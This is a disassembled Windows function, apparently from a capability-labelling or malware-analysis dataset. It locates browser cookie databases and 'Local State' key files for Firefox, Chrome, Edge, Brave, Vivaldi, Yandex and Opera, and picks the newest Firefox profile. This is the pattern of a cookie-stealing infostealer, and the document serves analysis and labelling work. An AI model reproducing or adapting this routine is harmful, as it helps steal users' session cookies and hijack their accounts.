Function at 0x551ac0
Capabilities:
Enumerate files on windows
Get file attributes

Disassembly:
push 0xffffffffffffffff
push 0x637f3c
mov eax, dword fs:[0]
push eax
sub esp, 0x484
mov eax, dword [0x70a308]
xor eax, esp
mov dword [esp + 0x480], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x70a308]
xor eax, esp
push eax
lea eax, [esp + 0x498]
mov dword fs:[0], eax
xor ebp, ebp
xor eax, eax
mov dword [esp + 0x18], ebp
mov dword [esp + 0x20], ebp
mov word [esp + 0x1c], ax
mov dword [esp + 0x4a0], ebp
lea ebx, [ebp + 1]
cmp dword [esp + 0x4ac], ebp
je 0x551d17
cmp dword [0x7101dc], ebp
jne 0x551d2e
lea ecx, [esp + 0x28c]
push ecx
call fcn.005516b0
add esp, 4
test eax, eax
je 0x551cdf
lea eax, [esp + 0x28c]
xor bl, bl
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x551b53
sub eax, edx
xor edx, edx
sar eax, 1
mov dword [esp + 0x30], ebp
mov dword [esp + 0x38], ebp
mov word [esp + 0x34], dx
mov byte [esp + 0x4a0], 1
cmp word [esp + eax*2 + 0x28a], 0x5c
lea edi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x551b95
mov eax, 0x64f8c0
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sMozillaFirefoxProfiles
lea ecx, [esp + 0x40]
call fcn.00402300
mov eax, dword [esp + 0x30]
cmp eax, ebp
jne 0x551bb9
lea eax, [esp + 0x34]
lea ecx, [esp + 0x3c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x24], ebp
mov dword [esp + 0x28], ebp
cmp esi, 0xffffffff
je 0x551cce
mov ebp, dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov edi, edi
mov ecx, 0x651d74
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x551c16
test dx, dx
je 0x551c12
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x551c16
add eax, 4
add ecx, 4
test dx, dx
jne 0x551bf0
xor eax, eax
jmp 0x551c1b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x551cb3
mov ecx, 0x651d6c
lea eax, [esp + 0x68]
lea esp, [esp]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x551c56
test dx, dx
je 0x551c52
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x551c56
add eax, 4
add ecx, 4
test dx, dx
jne 0x551c30
xor eax, eax
jmp 0x551c5b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x551cb3
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jle 0x551cb3
cmp word [edi], 0x5c
mov eax, 0x64fbb8
je 0x551c83
mov eax, 0x64f8c0
push 0
lea ecx, [esp + 0x6c]
push ecx
push eax
lea edx, [esp + 0x298]
push edx
push str._s_sMozillaFirefoxProfiles_scookies.sqlite
lea ecx, [esp + 0x2c]
call fcn.00411bf0
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x4c]
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], ecx
mov bl, 1
lea edx, [esp + 0x3c]
push edx
push esi
call ebp
test eax, eax
jne 0x551be0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
test bl, bl
jne 0x551cfa
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.004011f0
mov dword [esp + 0x4a0], 0xffffffff
lea ecx, [esp + 0x18]
call fcn.004011f0
xor eax, eax
jmp 0x552245
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x30]
call fcn.004011f0
mov ebx, 1
xor ebp, ebp
jmp 0x5520ff
mov esi, dword [esp + 0x4a8]
cmp dword [0x7101d8], esi
jne 0x551d3e
cmp dword [0x7101e0], ebp
je 0x551d50
mov dword [esp + 0x4a0], 0xffffffff
jmp 0x55223a
mov dword [0x7101e0], ebp
mov dword [0x7101e4], ebp
mov dword [0x7101d8], esi
lea eax, [esp + 0x28c]
push eax
call fcn.0040fd90
add esp, 4
test eax, eax
je 0x551cdf
lea eax, [esp + 0x28c]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, bp
jne 0x551d72
sub eax, edx
sar eax, 1
cmp esi, 0x12
jne 0x551dde
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x551da2
mov eax, 0x64f8c0
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sMicrosoftEdgeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402300
cmp word [esi], 0x5c
mov eax, 0x64fbb8
je 0x551dca
mov eax, 0x64f8c0
push ebp
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sMicrosoftEdgeUser_DataLocal_State
jmp 0x5520f5
cmp esi, 0x13
jne 0x551e3b
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x551dff
mov eax, 0x64f8c0
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sBraveSoftwareBrave_BrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402300
cmp word [esi], 0x5c
mov eax, 0x64fbb8
je 0x551e27
mov eax, 0x64f8c0
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sBraveSoftwareBrave_BrowserUser_DataLocal_State
jmp 0x5520f5
cmp esi, 0x14
jne 0x551e98
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x551e5c
mov eax, 0x64f8c0
push ebp
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sVivaldiUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402300
cmp word [esi], 0x5c
mov eax, 0x64fbb8
je 0x551e84
mov eax, 0x64f8c0
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sVivaldiUser_DataLocal_State
jmp 0x5520f5
cmp esi, 0x15
jne 0x551ef5
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x551eb9
mov eax, 0x64f8c0
push ebp
push eax
lea ecx, [esp + 0x294]
push ecx
push str._s_sYandexYandexBrowserUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402300
cmp word [esi], 0x5c
mov eax, 0x64fbb8
je 0x551ee1
mov eax, 0x64f8c0
push ebp
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sYandexYandexBrowserUser_DataLocal_State
jmp 0x5520f5
cmp esi, 3
jne 0x5520a2
xor eax, eax
mov dword [esp + 0x24], ebp
mov dword [esp + 0x2c], ebp
mov word [esp + 0x28], ax
mov byte [esp + 0x4a0], 2
mov eax, dword [0x70f64c]
cmp eax, ebp
jne 0x551f23
mov eax, 0x70f650
push eax
lea ecx, [esp + 0x28]
call fcn.004017d0
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x551f39
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.005f80fb
add esp, 8
cmp eax, ebp
jne 0x551f59
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
jmp 0x551cda
mov edx, str.IDM
mov ecx, eax
mov si, word [ecx]
cmp si, word [edx]
jne 0x551f89
cmp si, bp
je 0x551f82
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x551f89
add ecx, 4
add edx, 4
cmp si, bp
jne 0x551f60
xor ecx, ecx
or edi, 0xffffffff
jmp 0x551f92
sbb ecx, ecx
mov edi, 0xffffffff
sbb ecx, edi
cmp ecx, ebp
je 0x55204e
mov edx, 0x64f8c0
mov ecx, eax
mov si, word [ecx]
cmp si, word [edx]
jne 0x551fc7
cmp si, bp
je 0x551fc3
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x551fc7
add ecx, 4
add edx, 4
cmp si, bp
jne 0x551fa1
xor ecx, ecx
jmp 0x551fcb
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x551fef
xor edx, edx
mov word [eax], dx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x551fe0
lea eax, [esp + 0x28]
push 0x5c
push eax
call fcn.005f80fb
add esp, 8
cmp eax, ebp
jne 0x552017
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.004011f0
mov dword [esp + 0x4a0], edi
lea ecx, [esp + 0x18]
call fcn.004011f0
xor eax, eax
jmp 0x552245
mov edx, str.IDM
mov ecx, eax
mov edi, edi
mov si, word [ecx]
cmp si, word [edx]
jne 0x552046
cmp si, bp
je 0x552042
mov si, word [ecx + 2]
cmp si, word [edx + 2]
jne 0x552046
add ecx, 4
add edx, 4
cmp si, bp
jne 0x552020
xor ecx, ecx
jmp 0x55204a
sbb ecx, ecx
sbb ecx, edi
cmp ecx, ebp
jne 0x551fef
add eax, 2
xor ecx, ecx
mov word [eax], cx
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x552062
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_Stablecookies
lea ecx, [esp + 0x24]
call fcn.00402190
mov eax, dword [esp + 0x24]
cmp eax, ebp
jne 0x55207e
lea eax, [esp + 0x28]
push ebp
push eax
push str._sOpera_SoftwareOpera_StableLocal_State
mov ecx, 0x710218
call fcn.00402190
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x24]
call fcn.004011f0
jmp 0x5520ff
cmp word [esp + eax*2 + 0x28a], 0x5c
lea esi, [esp + eax*2 + 0x28a]
mov eax, 0x64fbb8
je 0x5520be
mov eax, 0x64f8c0
push ebp
push eax
lea edx, [esp + 0x294]
push edx
push str._s_sGoogleChromeUser_DataDefaultcookies
lea ecx, [esp + 0x28]
call fcn.00402300
cmp word [esi], 0x5c
mov eax, 0x64fbb8
je 0x5520e6
mov eax, 0x64f8c0
push ebp
push eax
lea eax, [esp + 0x294]
push eax
push str._s_sGoogleChromeUser_DataLocal_State
mov ecx, 0x710218
call fcn.00402300
lea ecx, [esp + 0x14]
call fcn.004024e0
mov byte [esp + 0x4a0], 3
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x55211c
lea eax, [esp + 0x1c]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebp
push ebp
push ebp
push ebp
push 0xffffffffffffffff
push eax
push ebp
push 0xfde9
call edi
mov esi, eax
cmp esi, ebp
jle 0x552160
push esi
lea ecx, [esp + 0x18]
call fcn.00402830
mov ecx, dword [esp + 0x18]
cmp ecx, ebp
jne 0x55214d
lea ecx, [esp + 0x1c]
push ebp
push ebp
push esi
push eax
push 0xffffffffffffffff
push ecx
push ebp
push 0xfde9
call edi
test eax, eax
jne 0x552176
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402550
jmp 0x551cdf
mov eax, dword [esp + 0x18]
cmp eax, ebp
jne 0x552182
lea eax, [esp + 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
push eax
call esi
or edi, 0xffffffff
cmp eax, edi
jne 0x5521ba
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402550
mov dword [esp + 0x4a0], edi
lea ecx, [esp + 0x18]
call fcn.004011f0
xor eax, eax
jmp 0x552245
cmp dword [esp + 0x4ac], ebp
je 0x5521e2
mov ecx, dword [esp + 0x14]
push ecx
push 0x64edec
push 0x710210
call fcn.00402f60
add esp, 0xc
mov dword [0x7101dc], ebx
jmp 0x552222
mov edx, dword [esp + 0x14]
push edx
push 0x64edec
push 0x710214
call fcn.00402f60
add esp, 0xc
mov dword [0x7101e0], ebx
cmp dword [0x710220], ebp
je 0x552222
mov eax, dword [0x710218]
cmp eax, ebp
jne 0x552215
mov eax, 0x71021c
push eax
call esi
cmp eax, edi
je 0x552222
mov dword [0x7101e4], ebx
mov byte [esp + 0x4a0], 0
lea ecx, [esp + 0x14]
call fcn.00402550
mov dword [esp + 0x4a0], edi
lea ecx, [esp + 0x18]
call fcn.004011f0
mov eax, ebx
mov ecx, dword [esp + 0x498]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x480]
xor ecx, esp
call fcn.005f85e7
add esp, 0x490
ret